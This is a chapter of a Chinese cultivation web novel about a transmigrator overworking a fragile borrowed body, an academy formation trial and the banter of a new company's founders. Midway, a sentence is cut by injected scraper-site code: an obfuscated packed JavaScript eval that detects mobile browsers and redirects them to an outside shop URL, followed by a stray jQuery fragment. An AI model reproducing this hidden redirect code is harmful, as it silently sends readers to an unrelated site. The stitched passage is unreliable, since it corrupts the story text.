14.14 大小姐?
    灵气复苏零年,11月23日13:02,河洛·灵篆院。

    宁长空准时赶在给他送午饭的人之前回来。

    提着最后一点精神谢过送饭的师姐,他脱力地靠着门滑坐到地上。

    他努力地吞咽了两下,手忙脚乱地从身上抽出张手帕,随即身形一顿,哇地呕出口血。

    果然,身体到极限了。

    他恢复到能站起来自己走两步也就是大前天的事。紧接着就走这么远的路,耗这么多的神。

    吐血是正常的,他刚长完整的内脏还都脆着呢。

    宁长空眼前发黑地坐在门边坐了一刻钟时间,才扶着门站了起来,随手捏了个诀,把手里粘血的手帕毁尸灭迹。

    然后把他专门拜托燕宜安捎的一大瓶退烧药从包里拿出来,撕掉标签,藏在抽屉里。

    在接下来的日子里,这大概会是他的生命之源。

    灵气复苏零年,12月13日下午,河洛秘阵谷。

    站在山顶的云雾之中,丘浩云眯着眼,注视着林锦松脚尖轻点,身形如燕,在阵法幻化的桃花林穿梭。

    随着秘阵推演,那花儿转瞬谢去,化作一片竹林。由灵力凝聚而成的竹子沙沙作响,排列似有玄妙之意。

    林锦松步履不停,直上山去。

    灵篆院执掌的半位面,河洛秘阵谷,通称河洛。秘阵二字,源于山谷上篆刻的护院秘阵。

    东方修行界,在阵法一事上,最大的人工奇迹。

    无数复杂而玄奥的符文按河图洛书的术数之法自我推演,铸造了这由无数灵力线条交织而成,时时变化的迷宫。

    这里的阵法之精妙,之宏伟,连当今的灵篆院自己,都只能维护,不能再造。

    丘浩云低头看自己手里的九星罗盘,院主凭此法器能操纵这护院大阵。

    灵篆院可不搞那劳什子幻境历练,自家秘阵,就是最好的试炼。

    沿试炼模式的秘阵特地留下的小径,破解沿路的谜题,顺利上山,是不少天资一般的弟子的出师考核。

    对于林锦松而言,算是上了两周课的随堂测试。

    要不是身体一直没好,当摸底考都不成问题。

    “你觉得,这小子能刷新你的记录吗?”丘浩云偏头问站在他身侧,同样观察着林锦松做题进度的越静亭。

    “难。”越静亭直接了当地说。

    他在河洛长大,从小在这秘阵里迷路又碰壁,在熟悉度上有着无可比拟的优势。

    况且……“他体力要跟不上了。”

    半山腰上的人脚步已经渐渐比刚上山慢了一截,明显走得有点吃力。

    丘浩云皱眉:“怎么养了这么久,精神头一点没见好,这一会儿就嫌累。”

    丘浩云是真挺喜欢这孩子。天赋多高、学东西多快暂且不论,他手底下最不缺的就是天才。

    最重要的是,这小家伙嘴巴甜啊!

    他掰着手指算着:

    大徒弟黎博是个笑里藏刀的主。

    二徒弟越静亭认真过度,毫无幽默感。

    三徒弟燕宜安直来直去,疯丫头一个。

    只有这个还不算他徒弟的小徒弟,眼睛亮亮地缠着他学东西,学完还对他一顿猛夸,把老道哄得心花怒放。

    丘浩云现在是挖空心思想怎么哄这小宝贝正式拜师,给自己当小徒弟。

    小家伙脾气好性格好脑子好,就是身体不好。丘浩云出神地想着。

    也是可惜,多好的孩子,年纪轻轻就逃不了药罐子的命。

    越静亭看老道一张老脸一会儿笑一会儿愁的,大概也能猜到他在想什么。

    这位小师弟的嘴真是厉害。灵篆院高层人士里,因为空降一个未来院主而不满的,因为灵泉和各色药材开销太大而不满的,这几天下来都被哄得服服帖帖,再心有怨气的也不敢明面作妖。

    也是因为这张嘴,礼物更是一波波往他房里送,这让越静亭确信:这孩子惯不会让自己吃亏。

    那么……越静亭眯起眼。他哄着老道,拖堂拖上一个半点也要多学点东西怕,到底是为的什么?

    越静亭第一次路过他们教室的时候被吓得心惊胆战,小孩坐都坐得直打摆子了,还在白着张脸上课。

    他冷着脸打断课堂,把人拎回房,又对自家师父好一顿说教,说小孩身子还没好透,不要苛求太过。

    他之后有心抽查了几次,结果拖堂拖得变本加厉。查到最后小孩都不乐意见他了,教室门口露出一角淡青色的道袍,他就主动请辞,自己滚回房里。

    平日学东西努力太过,休息日又成天地不见人影,让越静亭疑心:他到底想做什么?

    丘浩云的话打断了他的思绪:“宜安搞得那个什么......符箓模拟和编程系统?你研究得怎么样了?”

    在那场研讨会后,11月月底,修行界各大媒体头版头条:天工科技正式成立,由科研巨擘燕宜安、楚清歌与商业精英江云箫三位创始人携手打造。目前主营符箓模拟和编程系统,正式名“天问”系统的商业化运营。

    就如宁长空当时所说,一个是灵篆院培养出的人类天才,一个和西王母座下青鸟有着道不明的关系。选一个两界出名的人妖混血来运营,算是意料之外、情理之中,没人挑的出错。

    “稍微有些眉目了,晚上约了宜安吃饭,吃饭的时候再问问。”越静亭回忆着上次面谈的内容,“她好像说计划写本教程,但是时间排不开。”

    “她有的好忙了,那么多人上赶着和她签合同,把脖子晾着等她下手。”老道感叹着,“一个两个,都是不惜大出血也要问一问这‘天问’啊。”

    “我老了,你们年轻人的时代到了。”

    林锦松人影已出现在山顶,丘浩云在开着特大号字体的手机上一按。

    “34分钟。”带着老花镜的老道眯着眼看着屏幕上的字,“比你的28分钟略慢一点,但也是历史第二。”

    越静亭点头,对着林锦松称赞道:“小师弟天资甚佳。”

    宁长空心下好笑,他之前怎么没看出来越静亭越老二脸皮这么厚?硬是在他拜入师门之前,就要把这小师弟认下来。

    这声“小师弟”喊得顺嘴,可不是好事。

    林锦松喘着气对他们笑笑,随即细弱地咳嗽了起来。

    越静亭皱着眉为他拍背:“怎么一直不见好?”

    宁长空心虚。他总不好说是因为忙着头痛符箓工业化生产机械的设计,还要对付功课,这两周累得一直断断续续发烧吧?

    对于经历了无数世界磨练的,又能够屏蔽痛觉和疲惫的快穿者而言,阻碍他们二十四小时加班的,只有身体的承受能力而已。

    在楚清歌汇报这具身体的肝脏因为频繁用药出问题之前,他不介意把那瓶退烧药当糖豆磕。

    夺舍来的身体毕竟是一次性短期用品,在任务完成前不要坏得用不了就成。

    宁长空不愿暴露自己的身体状况,主要是因为怕被照顾得太周全,没有机会溜出来找燕宜安、江云箫开会。

    林锦松咳嗽渐缓,心虚得不敢看“二师兄”越静亭,只拉着老师的袖子撒娇:“老师,我还有个符文篆刻上的问题想问,我们到屋子里去吧?我把东西拿过来给您看!”

    “你平日不是,周五一下课就往桃源跑吗?”丘浩云板着脸,顺着他的力道往山下去,“今天怎么不着急跑了?”

    还是小孩子心性,贪玩。从周五下午要玩到周日晚上才依依不舍

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268624|139898||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    地回来。

    宁长空心想,今天燕宜安说下午有事,研发会议不开了。正好他有个问题一直找不到时间问……

    “这个问题我琢磨了许久,却始终未能参透。”他笑笑,“这个小玩意,我做来是要送人的。再拖下去,送礼的时机都要过了,只好来找老师求救……”

    灵气复苏零年,12月13日下午,蓬莱·桃源·福禄居·江云箫的会客室。

    “宜安?你不是有事吗?”

    看着沙发上边喝咖啡边看电脑的燕宜安,“楚清歌”讶异道。

    今天是内部会议,“她”没穿那身华丽的青色裙装,简单地裹了件藏青色的厚风衣。

    一眨眼就冬天了。

    燕宜安放下咖啡杯:“下午要签的那个合同谈起来很快,我就跑这里来躲清净了。”

    她当年也是叱咤风云的一代灵篆院云篆执事,现在想和她攀过去交情的人,数不胜数。

    江云箫把一个文件袋扔过来:“你的身份证件,新办的手机号,银行卡,都弄好了。我们两个的联系方式也存好了。”

    他们都默契地没问:青鸟的联系方式是出名之后现办,再公布给其他人的。

    那么之前和他们联系的“楚清歌”,用的是谁的号码,谁的身份证?

    “还有何吩咐啊?大、小、姐。”江云箫咬牙切齿。

    “楚清歌”眨眨眼,转头看燕宜安:“他今天什么毛病?”

    “被打击到了。”燕宜安嗤嗤地笑了起来,“我们俩今天上午去现世谈办公楼和工厂的合同,他说顺便把你在现世的住处也敲定下来。”

    “然后就遇到了他在现世的人类朋友,”她没忍住,放声大笑,模仿起了那个对修行界一无所知的大叔。

    “ ‘给年轻的独身女性住的公寓……江老板,令爱有什么特别的喜好吗?’ ”

    “然后就开始‘大小姐’长,‘大小姐’短的,‘这种装修风格大小姐一定喜欢……’ ”燕宜安越讲越兴奋,

    江云箫打断她:“你也别激动,你猜猜你在这个故事里算什么?年轻小妈?”

    燕宜安脖子一缩,还是捂着嘴吃吃地笑。

    江云箫这半个月可以说是发挥了赌徒那句:怕别赌,赌别怕。

    他当真如许诺那般,要放手任“她”施为。在生意场上锋芒毕露,给“天工科技”咬住每一分利益和每一丝机会,寸步不让。

    入局不成,试图离间他和“楚清歌”关系的也大有人在。毕竟燕宜安年纪商轻,还好拿捏,多少人都在传“楚清歌”正是青鸟降世,应了那“有凤来仪”的兆。

    他江云箫就当真有自信,从这老妖怪的手里咬下一块肉?

    心怀叵测之人却惊讶地发现,两人之间的合作坚如磐石,江老板竟愿意主动给青鸟让利。

    一时间流言和推测四起。正经的猜“她”和燕宜安还有别的生意要和江云箫做,说不定正是符箓加工厂!

    至于不正经的……外面的桃色小报都快把他传成对青鸟一心一意、死心塌地的面首了。

    误会成小情人就算了?怎么还能误会成女儿的?

    “楚清歌”拱手,假意正经道:“敢问您今年高寿?”

    “在下行商二十个年头,正值不惑之年,”江云箫回了个礼,“四十有五。”

    那努努力……好像确实能当林锦松的爹了。

    宁长空不由又仔细打量了一遍他的脸。大概是妖怪的血脉影响,他看起来很年轻,给人感觉也就三十出头。

    宁长空真诚道:“有一句话,不知道江老板可有所耳闻?”

    “男人,可以是五千岁,五百岁,但不能是五十岁?”

    燕宜安彻底绷不住,击掌大笑。